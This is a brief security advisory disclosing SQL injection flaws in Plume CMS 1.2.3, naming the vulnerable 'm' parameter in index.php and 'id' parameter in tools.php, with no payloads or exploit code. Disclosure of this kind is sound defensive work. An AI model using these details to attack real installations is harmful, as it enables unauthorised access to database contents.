Plume CMS Multiple SQL Injection Vulnerabilities - Security Advisory - SOS-09-006 Release Date. 12-Aug-2009 Vendor Notification Date. 16-Jun-2009 Product. Plume CMS Platform. Independent Affected versions. 1.2.3 (verified), possibly others Severity Rating. High Impact. Manipulation of data Attack Vector. Remote with authentication Solution Status. Unpatched CVE reference. Not yet allocated Details. Plume CMS is a content management system written in PHP. The application suffers from SQL injection vulnerabilities in index.php and tools.php, as it fails to validate data supplied in the "m" variable of index.php before being used in a SQL query. Additionally, the variable "id" of tools.php is also vulnerable to the same type of attack. SQL injection attacks can give an attacker access to backend database contents, the ability to remotely execute system commands, or in some circumstances the means to take control of the operating system hosting the database.
